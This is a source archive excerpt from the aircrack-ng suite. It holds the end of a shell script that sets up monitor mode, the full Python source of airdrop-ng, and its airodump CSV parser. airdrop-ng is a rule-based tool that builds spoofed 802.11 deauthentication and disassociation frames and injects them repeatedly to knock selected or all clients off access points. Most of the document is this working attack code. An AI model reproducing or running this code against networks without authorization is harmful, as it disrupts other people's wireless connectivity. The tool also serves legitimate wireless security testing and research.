CHIPSET="RTL8188CUS" elif [ "${VENDOR_ID}" = "0x0846" ]; then [ "${PRODUCT_ID}" = "0x9041" ] && CHIPSET="RTL8188CUS" [ "${PRODUCT_ID}" = "0x9042" ] && CHIPSET="RTL8188CUS" [ "${PRODUCT_ID}" = "0x9043" ] && CHIPSET="RTL8188CUS" fi [ -z "${CHIPSET}" ] && CHIPSET="Report dmesg and usbconfig (dump commands) to http://trac.aircrack-ng.org" elif [ -n "${DRIVER}" ]; then CHIPSET="Report dmesg and usbconfig (dump commands) to http://trac.aircrack-ng.org" else CHIPSET="Unknown" [ -z "${DRIVER}" ] && DRIVER="Unknown" fi } printf "\nInterface\tDriver\t\tChipset\n\n" for IFACE in $(ifconfig -a | grep -E '^(wlan|ath|otus|urtwn)[0-9]+' | awk -F: '{print $1}' ) do get_interface_info ${IFACE} printf "${IFACE}\t\t${DRIVER}\t\t${CHIPSET}\n\n" if [ -n "${PARENT}" ]; then printf "\t(monitor mode interface. Parent: ${PARENT})\n" fi if [ "${INTERFACE_TO_USE}" = "${IFACE}" ]; then if [ "${COMMAND}" = 'start' ]; then if [ -n "${PARENT}" ]; then printf "\t Interface is already in monitor mode, ignoring\n" else MONITOR_IFACE=$(ifconfig wlan create wlandev ${IFACE} wlanmode monitor) if [ $? -eq 0 ]; then printf "\tCreated monitor mode interface ${MONITOR_IFACE} from ${IFACE}\n" else printf "\tFailed creating monitor interface\n" fi fi elif [ "${COMMAND}" = 'stop' ]; then ifconfig ${IFACE} destroy 2>/dev/null if [ $? -ne 0 ]; then printf "\tFailed to remove monitor mode interface ${IFACE}\n" else printf "\tDestroyed monitor interface ${IFACE}\n" fi fi fi done exit 0 aircrack-ng-1.2-rc4/scripts/airdrop-ng/0000755000000000000000000000000012660222375016457 5ustar rootrootaircrack-ng-1.2-rc4/scripts/airdrop-ng/airdrop-ng0000755000000000000000000012607512026176322020456 0ustar rootroot#!/usr/bin/env python #part of project lemonwedge __author__ = "TheX1le & King_Tuna" __version__ = "2012.2.17.1.54.00" __licence__ = "GPL2" """ Airdrop-ng A rule based wireless deauth tool a compoent of project lemonwedge Written by Thex1le and King_Tuna """ import sys, optparse, re, time, random, os import pdb #update the path with sub directories #lib for the libraries and support for the oui.txt file # adds possible paths for support modules #sys.path.extend(["./lib","/usr/lib/airdrop-ng"]) from time import sleep,localtime from airdrop import bcolors, install_dir from airdrop import libOuiParse, libDumpParse from binascii import a2b_hex try: import PyLorcon2 except ImportError, e: print "Did you read the readme? You seem to be missing PyLorcon2" print e class messages: """ handle all printing allows for central logging """ def __init__(self,log, dir="/var/log/"): """ int vars for printing class """ date = localtime() self.date = str(date[0])+str(date[1])+str(date[2]) self.time = str(date[3])+"-"+str(date[4])+"-"+str(date[5]) self.logging = log #log error messages to a file #logfile self.logfile = dir+'/airdrop-ng_'+self.date+"-"+self.time+".log" self.color = True #enable colors self.logBuff = [] #hold info before we write to a file if self.logging == True: try: file = open(self.logfile,'a') file.write(self.date+"-"+self.time+"\n") file.write("Airdrop-ng Logfile\n") file.close except IOError,e: self.logging = False self.printError(["Could not open file "+self.logfile+"\n\n", str(e)+"\n"]) def printMessage(self,message): """ print standard info messages """ TYPE = type(message).__name__ if TYPE == 'list': for line in message: print line elif TYPE == 'str': print message self.log(message,TYPE) def printError(self,error): """ write errors to stderr in red """ TYPE = type(error).__name__ if TYPE == 'list': for line in error: sys.stderr.write(bcolors.FAIL+line+"\n"+bcolors.ENDC) elif TYPE == 'str': sys.stderr.write(bcolors.FAIL+error+"\n"+bcolors.ENDC) self.log(error,TYPE) def log(self,data,TYPE): """ write all messages to a file """ if self.logging is False: return try: file = open(self.logfile,'a') except IOError,e: self.logging = False self.printError(["Could not open file "+self.logfile+"\n", str(e)+"\n"]) sys.exit(-1) if TYPE == 'list': for item in data: file.write(str(item)+"\n") #str allows me to print out data structures elif TYPE == 'str': file.write(data) file.close class parseFiles: """ parse users acl rules into a dict for matching """ def fileOpen(self,name): """ Open the file and read in the rules and remove \\n characters """ try: openFile = open(name,"r") except IOError,e: message.printError("\nAirdrop-ng rule file "+name+" does not exist") sys.exit(-1) rules = openFile.xreadlines() cleanedRules = [] for line in rules: cleanedRules.append(line.rstrip()) openFile.close() return cleanedRules def translateOUI(self,ouiLst,flag): """ take an oui and find all matching mac addresses in the sniffed data """ clientLst =[] #empty client list to hold are found clients #check if were doing client oui beck or bssid oui check if flag == 'c': db = self.airoClient.keys() elif flag == 'b': db = self.airoAP.keys() for key in db: if key[:8] in ouiLst: clientLst.append(key) return clientLst def ruleParse(self,ruleRaw): """ parse the actual rules and return a dictionary """ clientList = [] pipe = ruleRaw.find('|') clientOuiList = [] #list to store client ouis bssidOuiList = [] #list to store bssid ouis bssid = None #place holder bssidList = [] essidList = {} #build an essid to bssid lookup #BUG may be here if a essid has multiple bssids for ap in self.airoAP.values(): essidList[ap["bssid"]] = ap["essid"] compTrue = ruleRaw[1:].find(';') if compTrue != -1: delim = ';' else: compTrue = ruleRaw[1:].find(',') if compTrue == -1: delim = ';' else: delim = ',' for postion in ruleRaw[pipe+1:].split(delim): if postion.upper() == "ANY": #client any break else: cmac = postion.upper().replace("-",":") if self.validMacChk(cmac) == True: #build a list of clients clientList.append(cmac) elif ouiLookup.compKeyChk(postion) == True: #company oui lookup #check to see if its an company name we can lookup clientOuiList.extend(ouiLookup.lookup_company(postion)) elif ouiLookup.ouiKeyChk(postion) == True: #oui match #check to see if its an oui we can lookup clientOuiList = [postion] else: message.printMessage([ "\nInvalid mac or company name", "at "+postion+" in "+ruleRaw," Moving on to next rule"]) return False #translate ouis then append them to client list if clientOuiList != []: clientList.extend( self.translateOUI(clientOuiList,'c') ) clientOuiList = [] #empty the var #begin bssid parse if ruleRaw[2:pipe].upper() != "ANY": bssidMac = ruleRaw[2:pipe].replace("-",":") valid = self.validMacChk(bssidMac) if valid == True : #match mac address bssidList = [bssidMac.upper()] elif bssidMac in essidList.values(): #bssidMac is provided by the user and at this point is most #likely a essid for bssid in essidList: #bssid is a true bssid if essidList[bssid] == bssidMac: bssidList.append(bssid) elif ouiLookup.compKeyChk(bssidMac) == True: #company oui lookup bssidOuiList.extend(ouiLookup.lookup_company(bssidMac)) if bssidOuiList != []: bssidList.extend( self.translateOUI(bssidOuiList,'b') ) bssidOuiList = [] #empty var elif ouiLookup.ouiKeyChk(bssidMac) == True: #oui match #check to see if its an oui we can lookup bssidOuiList = [bssidMac] bssidList = self.translateOUI(bssidOuiList,'b') bssidOuiList = [] #empty var else: message.printMessage([ "\nInvalid mac or company name", "at "+postion+" in "+ruleRaw," Moving on to next rule"]) return False else: bssidList = ["ANY"] if bssidList == []: message.printMessage(["\nInvalid mac in bssid section of "+ruleRaw, "Or no matching ouis found in sniffed data", "Moving on to next rule"]) return False state = ruleRaw[0].lower() if len(bssidList) <= 1: #if we only have one bssid we dont want to nest the dict in a list for bssid in bssidList: if clientList == [] and postion.upper() != 'ANY': ruleDict = { "state":state, "bssid":bssid, "clients":[postion], "raw":ruleRaw} if clientList == [] and postion.upper() == 'ANY': ruleDict = { "state":state, "bssid":bssid, "clients":"ANY", "raw":ruleRaw} else: ruleDict = { "state":state, "bssid":bssid, "clients":clientList, "raw":ruleRaw} elif len(bssidList) > 1: #if more then one bssid nest each rule dict in a list ruleDict = [] for bssid in bssidList: if clientList == [] and postion.upper() != 'ANY': ruleDict.append({ "state":state, "bssid":bssid, "clients":[postion], "raw":ruleRaw }) elif clientList == [] and postion.upper() == 'ANY': ruleDict.append({ "state":state, "bssid":bssid, "clients":"ANY", "raw":ruleRaw }) else: ruleDict.append({ "state":state, "bssid":bssid, "clients":clientList, "raw":ruleRaw }) return ruleDict def validChk(self,rule): """ find commented lines """ ruleStrip = rule.strip('\t').lstrip() if ruleStrip == "": return False elif ruleStrip[0] == "#": return False else: return True def commentOff(self,rules): """ This is a horrible hack but the idea is to remove the commented lines """ validRules = [] while len(rules) != 0: chkme = rules.pop() if self.validChk(chkme) == True: validRules.append(chkme.strip('\t').lstrip()) return validRules def run(self,fileName,AiroDBs): """ populate ruleList """ #are the airoDB's used by translate ouis self.airoClient = AiroDBs[0]#airodump client db self.airoAP = AiroDBs[1]#airodump ap DB fileRules = self.fileOpen(fileName) rawRules = self.commentOff(fileRules) ruleList = {} ruleCounter = 0 rawRules.reverse() #reverse the rules as they get loaded in backwards for rule in rawRules: #populate ruleList prule = self.ruleParse(rule) ruleCounter += 1 if prule != False: ruleList[ruleCounter] = prule else: continue return ruleList def validMacChk(self,mac): """ Check for valid mac address If Invalid exit and print invalid mac and error msg to user """ #regex will match format of DE:AD:BE:EF:00:00 or DE-AD-BE-EF-00-00 check = '([a-fA-F0-9]{2}[:|\-]?){6}' if re.match(check, mac): return True else: return False class ruleMatch: """ In the process of being depreciated Do Rule matching #NOTE in the future leave capr static and dont delete from it """ def __init__(self,rulesDB,capr,ClientApDB,debug): """ create vars for rule matching """ self.violators = {} #dict with bssid as a key and list #of clients as nested list these cleints are our targets self.rulesDB = rulesDB #rules database self.capr = capr #client to ap relationship self.ClientApDB = ClientApDB #Access point dict contain all info about each Ap self.debug = debug #debug flag self.violators = {} #dict with bssid as a key and list of clients self.bssid = None #bssid of the rule we are looking at self.state = None #state of the rule either allow or deny self.clients = [] #client list that are affected by the rules self.rule = None #entire rule so we can print for debug mode self.Client = None #the client we are currently working with self.fullRule = None #the entire dict for printing in error messages self.num = None #number of rule we are matching def locate_key(self): """ take a client and locate its coresponding bssid iterate though capr and find unknown bssid a client is associated with """ for bssidKey in self.capr.keys(): if self.Client in self.capr[bssidKey]: client_bssid = bssidKey #break at first match break else: #return none in client cant #be found in capr client_bssid = None return client_bssid def rm_dupe(self,List): """ Remove duplicates from list """ dict = {} for item in List: dict[item]=item return dict.values() def ruleQue(self): """ set global class values one at a time then call matcher """ for num in sorted(self.rulesDB.keys()): #make sure the rules are called in order #it stops iterating at one less then we need so add +1 if type(self.rulesDB[num]).__name__ == "list": for rule in self.rulesDB[num]: self.bssid = rule["bssid"] self.state = rule["state"] self.clients = rule["clients"] self.rule = rule["raw"] self.fullRule = str(rule) self.num = str(num) self.match() #call matching else: self.bssid = self.rulesDB[num]["bssid"] self.state = self.rulesDB[num]["state"] self.clients = self.rulesDB[num]["clients"] self.rule = self.rulesDB[num]["raw"] self.fullRule = str(self.rulesDB[num]) self.num = str(num) self.match() #call matching return self.violators #return kicklist def match(self): """ Main list of rule conditions to check """ if self.bssid != "ANY": if self.ClientApDB[1].has_key(self.bssid): self.channel = self.ClientApDB[1][self.bssid]["channel"] #if this var doesnt get set it casues an error else: message.printMessage([ "\nInvaid bssid "+self.bssid+" not found in sniffed data", "Rule number "+self.num,self.rule, "Moving to next rule\n"]) return #start rule matching if self.capr.has_key(self.bssid) or self.bssid == 'ANY': #check to make sure we have target bssid in capr #start allow rule matching if self.state == "a": if self.bssid != "ANY" and self.clients != "ANY": #allow client to bssid rule matching #if no any's delete clients we want to allow from capr #the rest are valid targets for client in self.clients: #update current working client self.Client = client try: #atempt to remove client from capr dict position = self.capr[self.bssid].index(self.Client) del self.capr[self.bssid][position] except ValueError: pass if self.violators.has_key(self.bssid): #set allow bcast to False self.violators[self.bssid][0]["allow"] = False #set channel incase it has changed self.violators[self.bssid][0]["channel"] = self.channel else: self.violators[self.bssid] = [ {"allow":False,"channel":self.channel}, #support data [] #empty client list ] if self.debug == True: #debug flag message.printMessage(["Rule Number "+self.num, self.rule, self.fullRule, "Allow "+str(self.clients)+" client to "+self.bssid+" bssid\n"]) elif self.bssid != "ANY" and self.clients == "ANY": # #allow bssid any client rule matching #remove the bssid and all clients from our target list del self.capr[self.bssid] #remove the clients and the bssid from the target list #potential bug if self.debug == True: message.printMessage(["Rule Number "+self.num, self.rule, self.fullRule, "\nAll clients allowed to talk to "+self.bssid+" bssid", "No packets will be sent"]) elif self.bssid == "ANY" and self.clients == "ANY": #allow any any rule matching if self.debug == True: message.printMessage(["Rule Number "+self.num, self.rule,self.fullRule, "All clients are allowed to all Aps No packets will be sent\n"]) message.printMessage(["\nReached "+self.rule+" "+self.fullRule, "Rule Number "+self.num, "Rule is allow any any no Packets will be sent"]) sys.exit(0) elif self.bssid == "ANY" and self.clients != "ANY": #allow some clients to talk to any AP for client in self.clients: self.Client = client self.bssid = self.locate_key() #look up each client and update self.bssid if self.bssid == None: message.printMessage([ "\nClient "+self.Client+" not found in sniffed data,", "Client will be ignored"]) #continue #skip this client and move on to the next in the for loop return else: #set channel self.channel = self.ClientApDB[1][self.bssid]["channel"] try: #locate the clients postion in capr position = self.capr[self.bssid].index(self.Client) del self.capr[self.bssid][position] #remove it from capr except ValueError: pass if self.violators.has_key(self.bssid): self.violators[self.bssid][0]["allow"] = False self.violators[self.bssid][0]["channel"] = self.channel else: self.violators[self.bssid] = [ {"allow":False,"channel":self.channel}, #support data [] #empty client list ] if self.debug == True: message.printMessage(["Rule Number "+self.num, self.rule,self.fullRule, "Allow "+self.Client+" client to "+self.bssid+" bssid\n"]) else: message.printError(["ERROR in config file at:", "Rule Numer "+self.num, self.rule,self.rulesDB, "Could not match "+self.bssid+" or "+self.clients, "Please check the rule and try again"]) sys.exit(-1) #deny rule matching elif self.state == "d": if self.bssid == "ANY" and self.clients == "ANY": #global deauth #any any match rule message.printMessage(["\nReached global deauth at rule "+self.rule, "Rule Number "+self.num, "All clients that dont have a rule will be kicked at this point"]) for key in self.capr: #looping though to allow channel lookup self.bssid = key self.channel = self.ClientApDB[1][self.bssid]["channel"] if self.violators.has_key(self.bssid): #we assume at this point that the bcast allow has been set self.violators[self.bssid][1].extend( self.capr[self.bssid] #add all clients ) #update channel incase it changed self.violators[self.bssid][0]["channel"] = self.channel else: self.violators[self.bssid] = [ {"allow":True,"channel":self.channel}, #support data self.capr[self.bssid] #list of clients to kick ] if self.debug == True: message.printMessage(["Rule Number "+self.num, self.rule,self.fullRule, "Deny "+str(self.capr[self.bssid])+" client to "+self.bssid+" bssid\n"]) #may change to a break since its an any any #continue #move on to the next rule in the list later ill prob break the iteration? elif self.bssid == "ANY" and self.clients != 'ANY': #deny any AP and select clients for client in self.clients: self.Client = client self.bssid = self.locate_key() if self.bssid == None: message.printMessage(["Unable to locate bssid for client "+client, " Skipping\n"]) continue #set channel self.channel = self.ClientApDB[1][self.bssid]["channel"] if self.bssid == None: message.printMessage(["Client "+self.Client+" not found in sniffed data", "client will be ignored"]) #continue #skip this client and move on to the next in the for loop continue if self.capr.has_key(self.bssid): #checking for valid targets if self.violators.has_key(self.bssid): #extend the list of targets self.violators[self.bssid][1].append(self.Client) self.violators[self.bssid][0]["channel"] = self.channel else: self.violators[self.bssid] = [ {"allow":False,"channel":self.channel}, [self.Client] ] if self.debug == True: message.printMessage(["Rule Number "+self.num, self.rule,self.fullRule, "Deny "+self.Client+" client to "+self.bssid+" bssid\n"]) elif self.bssid != "ANY" and self.clients == "ANY": #deny client any rule matching if self.violators.has_key(self.bssid): self.violators[self.bssid][1].extend(self.capr[self.bssid]) #remove any duplicate entries self.violators[self.bssid][1] = self.rm_dupe(self.violators[self.bssid][1]) self.violators[self.bssid][0]["channel"] = self.channel else: self.violators[self.bssid] = [ {"allow":True,"channel":self.channel}, self.capr[self.bssid] ] if self.debug == True: for client in self.violators[self.bssid][1]: message.printMessage(["Rule Number "+self.num, self.rule,self.fullRule, "Deny "+client+" clients to "+self.bssid+" bssid\n"]) elif self.bssid != "ANY" and self.clients != "ANY": #deny between client and AP no anys used for client in self.clients: #do the following checks for each client self.Client = client if self.Client not in self.capr[self.bssid]: #if current client doesnt belong to current ap #dont generate a packet for it if self.debug == True: message.printMessage(["Rule Number "+self.num, self.rule,self.fullRule, "Client "+self.Client+" not attached to "+self.bssid, "Moving on\n"]) continue if self.violators.has_key(self.bssid): self.violators[self.bssid][1].append(self.Client) else: self.violators[self.bssid] =[ {"allow":False,"channel":self.channel}, [self.Client]] if self.debug == True: message.printMessage(["Rule Number "+self.num, self.rule,self.fullRule, "Deny "+self.Client+" client to "+self.bssid+" bssid\n"]) #do final processing on all affected clients #remove duplicates self.violators[self.bssid][1] = self.rm_dupe(self.violators[self.bssid][1]) #update channel on the card incase it changed self.violators[self.bssid][0]["channel"] = self.channel else: message.printMessage(["Config file error at line", self.rule,self.rulesDB[num], "State must be either an a for allow or d for deny"]) sys.exit(-1) return self.violators class packetGenerator: """ A collection of code for building packets """ def __init__(self,allow_bcast,destination_addr,source_addr,bss_id_addr,channel): """ intialize packet hex values """ self.packetTypes = { "deauth":'\xc0\x00', #deauthentication packet header "disass":'\xa0\x00' #disassoication packet header } self.packetBcast = { "ipv4":'\xff\xff\xff\xff\xff\xff', #ipv4 broadcast "ipv6":'\x33\x33\x00\x00\x00\x16', #ipv6 broadcast "stp":'\x01\x80\xc2\x00\x00\x00' #Spanning Tree broadcast } #note this also contains some multi cast addresses self.packetReason = [ '\x0a\x00', #Requested capability set is too broad '\x01\x00', #unspecified '\x05\x00', #disassociated due to insufficent resources at the ap '\x04\x00', #Inactivity timer expired '\x08\x00', #Station has left BSS or EBSS '\x02\x00' #Prior auth is not valid ] #reason codes #add more reason codes? self.allow_bcast = allow_bcast self.destination_addr = self.convertHex(destination_addr) self.source_addr = self.convertHex(source_addr) self.bss_id_addr = self.convertHex(bss_id_addr) self.channel = channel def buildPacket(self,type,dstAddr,srcAddr,bssid,reasonCode): """ Constructs the packets to be sent """ #packetParts positions are as follows #0:type 1:destination_addr 2:source_addr 3:bss_id_addr 4:reason packet = [type] #subtype packet.append('\x00\x00') #flags packet.append(srcAddr) #destain_addr packet.append(dstAddr) #source_addr packet.append(bssid) #bss_id_addr packet.append('\x70\x6a') #seq number packet.append(reasonCode) #reason code return "".join(packet) def convertHex(self,mac): """ convert a mac address to hex """ return a2b_hex(mac.replace(":","")) def packetEngine(self): """ Build each packet based on options """ packets = [] if self.allow_bcast == False: #broadcast packets will not be sent for type in self.packetTypes: # tx two packets with random reasons one two and one from packets.append([ self.buildPacket( self.packetTypes[type], #packet type self.destination_addr, #destinaion self.source_addr, #source self.bss_id_addr, #bssid self.randReason() #resoncode ), self.channel]) packets.append([ self.buildPacket( self.packetTypes[type], #packet type self.source_addr, #destination self.destination_addr, #source self.bss_id_addr, #bssid self.randReason() #reasoncode ), self.channel]) if self.allow_bcast == True: #broadcast packets will be sent for type in self.packetTypes: #tx two packets with random reasons one too bssid and one from bssid packets.append([ self.buildPacket( self.packetTypes[type], self.destination_addr, self.source_addr, self.bss_id_addr, self.randReason() ), self.channel]) packets.append([ self.buildPacket( self.packetTypes[type], self.source_addr, self.destination_addr, self.bss_id_addr, self.randReason() ), self.channel]) for bcast in self.packetBcast:#send bcast packets one two and one from packets.append([ self.buildPacket( self.packetTypes[type], #packet type self.packetBcast[bcast],#destination self.source_addr, #source self.bss_id_addr, #bssid self.randReason() #reasoncode ), self.channel]) packets.append([ self.buildPacket( self.packetTypes[type], #packet type self.source_addr, #destination self.packetBcast[bcast],#source self.bss_id_addr, #bssid self.randReason() #reasoncode ), self.channel]) return packets def randReason(self): """ Generate a random reason code for the kick """ return self.packetReason[ random.randrange( 0,len(self.packetReason),1 ) ] class getTargets(): """ Call parser for the airodump csv file and rule files """ def __init__(self,rules,data,debug): """ Init with all vars for getTargets class """ self.FileParsers = parseFiles() #call all file parsing functions self.AirParser = libDumpParse.airDumpParse() #call the airodump parser self.rules = rules #file name of rules file self.Airo = data #file name of airodump csv file self.debug = debug #debug flag self.targets = None #var to store matched targets in def dataParse(self): """ parse the user provided files and place their outputs into the rule matcher """ parsedAiro = self.AirParser.parser(self.Airo) parsedRules = self.FileParsers.run(self.rules,parsedAiro[1]) rMatch = ruleMatch(parsedRules,parsedAiro[0],parsedAiro[1],self.debug) return rMatch.ruleQue() def run(self): """ reparse all data every 4 seconds """ self.targets = self.dataParse() def lorconTX(pktNum=5,packet=None, channel=1 ,slept=0): """ Uses lorcon2 to send the actual packets """ #why the hell does pktNum default = 5? #pktNum is number each packet is sent count = 0 try: cchannel = tx.get_channel() except PyLorcon2.Lorcon2Exception ,e: message.printError(["\n Error Message from lorcon:",str(e), "Unable to get channel the wireless card is on"]) try: tx.set_channel(channel) #set the channel to send packets on except PyLorcon2.Lorcon2Exception ,e: message.printError(["\nError Message from lorcon:",str(e), "Unable to set channel card does not seem to support it", "Skipping packet"]) return False while count != pktNum: try: tx.send_bytes(packet) except PyLorcon2.Lorcon2Exception ,e: message.printMessage(['\nError Message from lorcon:',str(e), "Are you sure you are using the correct driver with the -d option?", "Or try ifconfig up on the card you provided and its vap."]) sys.exit(-1) count += 1 else: if slept > 0: sleep(slept) return def makeMagic(targets,slept = 0): """ function where the targes are looped though and packets are sent to them """ packetQue = [] packetCount = 1 #hard coded number of how many copys of each packet is sent for bssid in targets: for client in targets[bssid][1]: engine = packetGenerator( targets[bssid][0]["allow"], client,bssid,bssid, targets[bssid][0]["channel"] ) packetQue.extend(engine.packetEngine()) numPackets = len(packetQue) message.printMessage( "\nAttempting to TX "+str(numPackets)+" packets "+str(packetCount)+" times each") while len(packetQue) != 0: lorconTX( packetCount, #number of packets to send packetQue[0][0], #packet in hex int(packetQue[0][1]) #channel to tx the packet on ) sleep(slept) del packetQue[0] #remove the sent packet from the que message.printMessage( "\nSent "+str(numPackets)+" packets "+str(packetCount)+" times each") return numPackets * packetCount def help(): """ function for lemonwedge intigration supports its show help call """ print "<"+"~"*59+">\n" print "Airdrop Module for rule based deauth" print "This module requires airodump-ng to run" print "Module options:\n" print "\t? These need to be set" def firstLoad(): """ provides var names need to run airdrop used for calling airdrop from PLW """ allfunctionlist = { "startAirdrop":{ "iface":"", #injection interface "driver":"mac80211", #driver of the card we inject with "adlog":"/var/log/airodump-ng.log",#logfile to parse to decide on kick types "rules":install_dir + "/support/", #the drop rules "slept":"0" #sleep time between each packet tx's } } return allfunctionlist def startAirdop(): """ function for calling airdrop from PLW """ pass def usage(): """ Prints the usage to use airgraph-ng """ print "\n"+bcolors.OKBLUE+"#"*49 print "#"+" "*13+bcolors.ENDC+"Welcome to AirDrop-ng"+bcolors.OKBLUE+" "*13+"#" print "#"*49+bcolors.ENDC+"\n" def commandUsage(): print "\nSample command line arguments:" print "\npython airdrop-ng -i mon0 -t airodump.csv -r rulefile.txt\n" def OUIupdate(): """ update the ouilist """ message.printMessage("Updating OUI list...") ouiUpdate() sys.exit(0) if __name__ == "__main__": """ Main function. Parses command line input for proper switches and arguments. Error checking is done in here. Variables are defined and all calls are made from MAIN. """ usage() parser = optparse.OptionParser("usage: %prog options [-i,-t,-r] -s -p -b -n") # parser.add_option("-i", "--interface", dest="card",nargs=1, help="Wireless card in monitor mode to inject from") parser.add_option("-t", "--dump", dest="data", nargs=1 , help="Airodump txt file in CSV format NOT the pcap") parser.add_option("-r", "--rule",dest="rule", nargs=1 ,help="Rule File for matched deauths") parser.add_option("-s", "--sleep",dest="slept",default=0,nargs=1,type="int",help="Time to sleep between sending each packet") parser.add_option("-b", "--debug",dest="debug",action="store_true",default=False,help="Turn on Rule Debugging") parser.add_option("-l", "--logging",dest="log",action="store_true",default=False,help="Enable Logging to a file, if file path not provided airdrop will log to default location") parser.add_option("-n", "--nap",dest="nap",default=0,nargs=1,help="Time to sleep between loops") if len(sys.argv) <= 1: #check and show help if no arugments are provided at runtime parser.print_help() commandUsage() sys.exit(0) (options, args) = parser.parse_args() #set the program loop value #************ #HUDGE CHANGE #************ #basicly all of this code needs to be moved to startAirdrop() #************ #HUDGE CHANGE #************ #start up printing if args == []: message = messages(options.log) else: message = messages(options.log,args[0]) TotalPacket = 0 #total packets tx'd if os.geteuid() != 0: message.printError(["airdrop-ng must be run as root.\n", "Please 'su' or 'sudo -i' and run again.\n","Exiting...\n\n"]) sys.exit(-1) #no longer need to import lorcon here instead we should just test opening up the card and check for errors liborcon2 = '/usr/local/lib/liborcon2.so' if os.path.isfile(liborcon2) is False: liborcon2 = '/usr/lib/liborcon2.so' #support the ubuntu folks try: try: """ # the following code is marked for removal # more testing is needed try: liblorcon = lorcon.Lorcon(liborcon2) except OSError: message.printMessage(['\n', 'Unable to find liborcon2.so in /usr/local/lib or /usr/lib , is lorcon2 installed?']) sys.exit(-1) """ tx = PyLorcon2.Context(options.card) tx.open_injmon() except PyLorcon2.Lorcon2Exception ,e: message.printMessage(["\n", e,"Interface %s does not exist" %(options.card)]) sys.exit(-1) except ValueError: message.printMessage(["\n", "Interface %s does not exist" %(options.card)]) sys.exit(-1) try: #populate the oui lookup datatbases try: try: ouiLookup = libOuiParse.macOUI_lookup("./support/oui.txt") except IOError: ouiLookup = libOuiParse.macOUI_lookup(install_dir + "/support/oui.txt") except IOError: for path in libOuiParse.OUIPATH: message.printError(["oui.txt not found in " + path]) message.printError("Please run airodump-ng-oui-update") sys.exit(-1) except ImportError,e: message.printMessage(["\n",e,"ouiParser error"]) sys.exit(-1) #Start the main loop napTime = float(options.nap) Targeting = getTargets(options.rule,options.data,options.debug) #set zero packet flag to false zp = False while True: Targeting.run() if Targeting.targets != None: rtnPktCount = makeMagic(Targeting.targets,int(options.slept)) if rtnPktCount == 0: message.printMessage("Zero Packets were to be sent, Napping for 5 sec to await changes in sniffed data\n") zp = True TotalPacket += rtnPktCount if zp is True: time = 5 zp = False else: time = napTime message.printMessage("Waiting "+str(time)+" sec in between loops\n") sleep(time) except (KeyboardInterrupt, SystemExit): message.printMessage(["\nAirdrop-ng will now exit","Sent "+str(TotalPacket)+" Packets", "\nExiting Program, Please take your card "+options.card+" out of monitor mode"]) sys.exit(0) aircrack-ng-1.2-rc4/scripts/airdrop-ng/airdrop/0000755000000000000000000000000012660222375020117 5ustar rootrootaircrack-ng-1.2-rc4/scripts/airdrop-ng/airdrop/libDumpParse.py0000644000000000000000000001255012545601525023063 0ustar rootroot#!/usr/bin/python #airodump parsing lib #returns in an array of client and Ap information #part of the airdrop-ng project from sys import exit as Exit class airDumpParse: def parser(self,file): """ One Function to call to parse a file and return the information """ fileOpenResults = self.airDumpOpen(file) parsedResults = self.airDumpParse(fileOpenResults) capr = self.clientApChannelRelationship(parsedResults) rtrnList = [capr,parsedResults] return rtrnList def airDumpOpen(self,file): """ Takes one argument (the input file) and opens it for reading Returns a list full of data """ try: openedFile = open(file, "r") except TypeError: print "Missing Airodump-ng file" Exit(1) except IOError: print "Error Airodump File",file,"does not exist" Exit(1) data = openedFile.xreadlines() cleanedData = [] for line in data: cleanedData.append(line.rstrip()) openedFile.close() return cleanedData def airDumpParse(self,cleanedDump): """ Function takes parsed dump file list and does some more cleaning. Returns a list of 2 dictionaries (Clients and APs) """ try: #some very basic error handeling to make sure they are loading up the correct file try: apStart = cleanedDump.index('BSSID, First time seen, Last time seen, Channel, Speed, Privacy, Power, # beacons, # data, LAN IP, ESSID') except Exception: apStart = cleanedDump.index('BSSID, First time seen, Last time seen, channel, Speed, Privacy, Cipher, Authentication, Power, # beacons, # IV, LAN IP, ID-length, ESSID, Key') del cleanedDump[apStart] #remove the first line of text with the headings try: stationStart = cleanedDump.index('Station MAC, First time seen, Last time seen, Power, # packets, BSSID, Probed ESSIDs') except Exception: stationStart = cleanedDump.index('Station MAC, First time seen, Last time seen, Power, # packets, BSSID, ESSID') except Exception: print "You Seem to have provided an improper input file please make sure you are loading an airodump txt file and not a pcap" Exit(1) del cleanedDump[stationStart] #Remove the heading line clientList = cleanedDump[stationStart:] #Splits all client data into its own list del cleanedDump[stationStart:] #The remaining list is all of the AP information apDict = self.apTag(cleanedDump) clientDict = self.clientTag(clientList) resultDicts = [clientDict,apDict] #Put both dictionaries into a list return resultDicts def apTag(self,devices): """ Create a ap dictionary with tags of the data type on an incoming list """ dict = {} for entry in devices: ap = {} string_list = entry.split(',') #sorry for the clusterfuck but i swear it all makse sense this is builiding a dic from our list so we dont have to do postion calls later len(string_list) if len(string_list) == 15: ap = {"bssid":string_list[0].replace(' ',''), "fts":string_list[1], "lts":string_list[2], "channel":string_list[3].replace(' ',''), "speed":string_list[4], "privacy":string_list[5].replace(' ',''), "cipher":string_list[6], "auth":string_list[7], "power":string_list[8], "beacons":string_list[9], "iv":string_list[10], "ip":string_list[11], "id":string_list[12], "essid":string_list[13][1:], "key":string_list[14]} elif len(string_list) == 11: ap = {"bssid":string_list[0].replace(' ',''), "fts":string_list[1], "lts":string_list[2], "channel":string_list[3].replace(' ',''), "speed":string_list[4], "privacy":string_list[5].replace(' ',''), "power":string_list[6], "beacons":string_list[7], "data":string_list[8], "ip":string_list[9], "essid":string_list[10][1:]} if len(ap) != 0: dict[string_list[0]] = ap return dict def clientTag(self,devices): """ Create a client dictionary with tags of the data type on an incoming list """ dict = {} for entry in devices: client = {} string_list = entry.split(',') if len(string_list) >= 7: client = {"station":string_list[0].replace(' ',''), "fts":string_list[1], "lts":string_list[2], "power":string_list[3], "packets":string_list[4], "bssid":string_list[5].replace(' ',''), "probe":string_list[6:][0:]} if len(client) != 0: dict[string_list[0]] = client return dict def clientApChannelRelationship(self,data): """ parse the dic for the relationships of client to ap """ clients = data[0] AP = data[1] NA = [] #create a var to keep the not associdated clients NAP = [] #create a var to keep track of associated clients to AP's we cant see apCount = {} #count number of Aps dict is faster the list stored as BSSID:number of essids apClient = {} #dict that stores bssid and clients as a nested list for key in (clients): mac = clients[key] #mac is the MAC address of the client if mac["bssid"] != ' (notassociated) ': #one line of of our dictionary of clients if AP.has_key(mac["bssid"]): # if it is check to see its an AP we can see and have info on if apClient.has_key(mac["bssid"]): apClient[mac["bssid"]].extend([key]) #if key exists append new client else: apClient[mac["bssid"]] = [key] #create new key and append the client else: NAP.append(key) # stores the clients that are talking to an access point we cant see else: NA.append(key) #stores the lines of the not assocated AP's in a list return apClient 